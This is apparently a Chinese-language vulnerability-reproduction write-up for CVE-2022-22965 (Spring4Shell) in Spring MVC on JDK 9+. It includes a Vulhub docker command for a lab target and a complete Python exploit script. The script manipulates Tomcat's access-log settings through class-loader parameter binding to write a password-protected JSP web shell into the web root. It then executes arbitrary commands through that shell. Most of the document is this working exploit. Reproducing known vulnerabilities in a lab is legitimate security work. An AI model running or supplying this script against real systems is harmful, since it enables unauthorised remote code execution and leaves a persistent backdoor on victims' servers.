CVE-2022-22965复现
简介:
在jdk 9+上运行的Spring MVC或Spring WebFlux application可能会导致RCE
复现环境:
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
服务启动后,访问http://your-ip:8080/?name=xxx&age=xxx
即可看到一个演示页面。
poc:
使用方法:-t 输入目标地址,-c输入执行命令,默认为id
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)